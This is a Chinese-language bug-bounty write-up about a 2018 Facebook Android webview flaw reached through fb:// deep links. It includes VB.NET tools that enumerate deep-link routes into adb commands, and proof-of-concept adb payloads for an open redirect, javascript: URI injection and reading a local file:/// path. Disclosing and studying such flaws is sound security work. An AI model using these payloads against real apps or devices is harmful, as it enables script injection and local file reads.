导语:在2018年6月开展的Facebook漏洞悬赏项目中,有研究人员发现Facebook安卓应用程序中使用的webview组件存在漏洞。该漏洞允许攻击者只需点击一个链接即可在Android应用程序中执行任意javascript。
前言
在2018年6月开展的Facebook漏洞悬赏项目中,有研究人员发现Facebook安卓应用程序中使用的webview组件存在漏洞。该漏洞允许攻击者只需点击一个链接即可在Android应用程序中执行任意javascript。
在研究人员确定此漏洞之前,他们在3个不同的应用端,利用此漏洞成功测试了可能发生攻击。在测试中,研究人员确定安卓应用程序中使用的webview组件存在漏洞。此次,研究人员总共获得了8500美元的奖励。
漏洞的发现过程
在漏洞的发现过程,研究人员只关注了一件事,那就是深层链接。
深层链接是另一种类型的超链接,可以将用户定位到应用程序中的特定活动中。例如,fb://profile/1395634905在Android设备上点击此URL后,就将启动Facebook应用程序并直接转到研究人员的Facebook个人资料。
为了查看APK文件中可见的纯文本,研究人员就要在WinRAR中打开最新的APK并搜索字符串 'fb://',它会撤回一个文件 'assets/Bundle-fb4.js.hbc'。由于这个文件有多个深层链接,其中包括fb://marketplace_product_details_from_for_sale_item_id和fb://adsmanager,但它们没什么可以被攻击者利用的。
然而,深层链接(fb://ama/)却不一样。虽然其URL本身并不做什么,但在Winrar中搜索'ama'后,APK显示了一个名为'react_native_routes.json'的文件。这是攻击者利用的文件,它包含了Facebook可以处理的大部分深层链接。
根据上图中的内容,研究人员可以制作一个有效的Facebook深层链接。
fb://ama/?entryPoint={STRING}&fb_hidesTabBar={STRING}&presentationMethod={STRING}&targetURI={STRING}
由于这个文件包含的代码片段有12000多行,所以研究人员需要一些程序化的工具来收集所有有效的链接。为此,他们创建了两个快速收集的应用程序,一个用于将JSON转换为数据库结构,另一个用于从数据库创建链接。研究人员之所以要保持数据库的路径,只是为了以防以后需要操作数据。
Imports System.Data.SQLite Imports System.IO Imports Newtonsoft.Json.Linq Module Module1 Sub Main(args() As String) ProcessFile("react_native_routes.json") End Sub Public Sub ProcessFile(InputFile As String) Dim JSONText = File.ReadAllText(InputFile) If JSONText.StartsWith("[") Then 'Make valid JSON JSONText = "{'results' : " & JSONText & " }" End If Dim json As JObject = JObject.Parse(JSONText) Dim arr As JArray = json.SelectToken("results") For i = 0 To arr.Count - 1 Try Dim RouteName As String = arr(i).SelectToken("name") Dim RoutePath As String = arr(i).SelectToken("path") Dim paramJSON As JObject = arr(i).SelectToken("paramDefinitions") Dim RouteParamateCount As Integer = arr(i).SelectToken("paramDefinitions").Count If RouteParamateCount <> 0 Then Dim o As Integer = 0 Dim RouteID As Integer = insertRoute(RouteName, RoutePath, RouteParamateCount) For Each item As JProperty In arr(i).SelectToken("paramDefinitions") o += 1 Dim ParamName = item.Name Dim ParamType = item.Value("type").ToString Dim ParamRequired = item.Value("required").ToString insertParamater(ParamName, ParamType, ParamRequired, o, RouteID) Next End If Catch ex As Exception End Try Next End Sub Public Function insertRoute(RouteName As String, RoutePath As String, RouteParamaterCount As Integer) As Integer Dim con As New SQLiteConnection("Data Source=FBNativeRoutes.db") con.Open() Dim sql As String = "INSERT INTO RouteTable (RouteName, RoutePath, RouteParamaterCount, RouteAddedDateTime) VALUES (@RN, @RP, @RPC, @RAD)" Dim cmd As New SQLiteCommand(sql, con) cmd.Parameters.Add("RN", SqlDbType.VarChar).Value = RouteName cmd.Parameters.Add("RP", SqlDbType.VarChar).Value = RoutePath cmd.Parameters.Add("RPC", SqlDbType.Int).Value = RouteParamaterCount cmd.Parameters.Add("RAD", SqlDbType.Int).Value = Date.Now.Ticks cmd.ExecuteNonQuery() sql = "SELECT last_insert_rowid()" cmd = New SQLiteCommand(sql, con) insertRoute = cmd.ExecuteScalar() con.Close() End Function Public Sub insertParamater(ParamaterName As String, ParamaterType As String, ParamaterRequired As Boolean, ParamaterOrderIndex As Integer, RouteID As Integer) Dim PR As Integer = 0 If ParamaterRequired = True Then PR = 1 Else PR = 0 End If Dim con As New SQLiteConnection("Data Source=FBNativeRoutes.db") con.Open() Dim sql As String = "INSERT INTO ParamaterTable (ParamaterName, ParamaterType, ParamaterRequired, ParamaterOrderIndex, RoutesID) VALUES (@PN, @PT, @PR, @POI, @RID)" Dim cmd As New SQLiteCommand(sql, con) cmd.Parameters.Add("PN", SqlDbType.VarChar).Value = ParamaterName cmd.Parameters.Add("PT", SqlDbType.VarChar).Value = ParamaterType cmd.Parameters.Add("PR", SqlDbType.Int).Value = ParamaterRequired cmd.Parameters.Add("POI", SqlDbType.Int).Value = PR cmd.Parameters.Add("RID", SqlDbType.Int).Value = RouteID cmd.ExecuteNonQuery() con.Close() End Sub End Module
上面的代码(VB.NET)会将JSON中的每个'path'解析为RouteTable中自己的条目,以及它的名称和参数数量。同样,实际的参数也将被存储在ParamterTable中。ParamterTable包括参数类型、参数名称、索引以及它是否为必填字段以及返回路径的链接。
以下代码会处理SQLlite数据库并提供命令行列表,以通过ADB在Android设备上执行深度链接。
Imports System.Data.SQLite Imports System.IO Module Module1 Sub Main(args() As String) Dim FilePath As String = Date.Now.ToString("ddMMyyHHmm") & ".txt" Dim FBLink As String = "" Dim con As New SQLiteConnection("Data Source=FBNativeRoutes.db") con.Open() Dim sql As String = "SELECT RouteID, RouteName, RoutePath FROM RouteTable" Dim cmd As New SQLiteCommand(sql, con) Dim reader As SQLiteDataReader = cmd.ExecuteReader() If reader.HasRows Then Using sw As StreamWriter = New StreamWriter(FilePath) While reader.Read FBLink = BuildLink(reader("RouteID"), reader("RouteName"), reader("RoutePath")) FBLink = "adb shell am start -a ""android.intent.action.VIEW"" -d """ & FBLink & """" sw.WriteLine(FBLink) End While End Using End If reader.Close() con.Close() End Sub Public Function BuildLink(RouteID As Integer, RouteName As String, RoutePath As String) As String BuildLink = $"fb:/{RoutePath}/" Dim i As Integer = 0 Dim con As New SQLiteConnection("Data Source=FBNativeRoutes.db") con.Open() Dim sql As String = "SELECT ParamaterName, ParamaterType, ParamaterRequired FROM ParamaterTable WHERE RoutesID = @RID" Dim cmd As New SQLiteCommand(sql, con) cmd.Parameters.Add("RID", SqlDbType.Int).Value = RouteID Dim reader As SQLiteDataReader = cmd.ExecuteReader() If reader.HasRows Then While reader.Read() If i = 0 Then BuildLink &= "?" & reader("ParamaterName") & "=" & getValidValue(reader("ParamaterType")) Else BuildLink &= "\&" & reader("ParamaterName") & "=" & getValidValue(reader("ParamaterType")) End If i += 1 End While End If reader.Close() con.Close() End Function Public Function getValidValue(ParamaterType As String) As String Select Case ParamaterType Case "String" Return "{STRING}" Case "Int" Return "{INT}" Case "Boolean" Return "{BOOLEAN}" Case Else Return "{STRING}" End Select End Function End Module
以AMA深度链接为例,以下就是解析后的端点。
这将允许研究人员通过命令行打开fb://url,这使得检查每个URL的过程快了一百万倍。
漏洞介绍
现在研究人员就有一个364条预先构建好的命令行列表,如果是攻击者,完全可以实施暴力破解了,看看研究人员从中获得了什么样的响应。
adb shell am start -a "android.intent.action.VIEW" -d "fb://payments_add_paypal/?url={STRING}" adb shell am start -a "android.intent.action.VIEW" -d "fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl={STRING}" adb shell am start -a "android.intent.action.VIEW" -d "fb://ads_payments_prepay_webview/?account={STRING}\&contextID={STRING}\&paymentID={STRING}\&url={STRING}\&originRootTag={INTEGER}"
这三个深层链接都有一个共同点,即URL参数。
假设参数需要URL,则研究人员就可以提供了它想要的URL,第一个有效载荷如下。
adb shell am start -a "android.intent.action.VIEW" -d "fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl=https://google.com"
这样第一个漏洞就被检测了出来,是一个开放的重定向漏洞。Facebook曾宣布消除了某些漏洞(如SSRF和开放重定向),所以这次的测试很明显让研究人员有利可图。接下来,研究人员会用这个漏洞测试,看到底设备会发生什么反应。比如是否可以使用javscript URI而不是http/https呢?另外,是否可以读取本地文件呢?
adb shell am start -a "android.intent.action.VIEW" -d "fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl=javascript:confirm('https://facebook.com/Ashley.King.UK')"
adb shell am start -a "android.intent.action.VIEW" -d "fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl=file:///sdcard/CDAInfo.txt"
令研究人员惊讶的是,这些疑问都可以实现。
研究人员花了好几个小时试图把这些漏洞联系起来,以进一步利用它们,但却没有成功。由于研究人员是从功能测试的角度来发现和运行漏洞的,因此没有源代码,往下的测试是不可能进行的。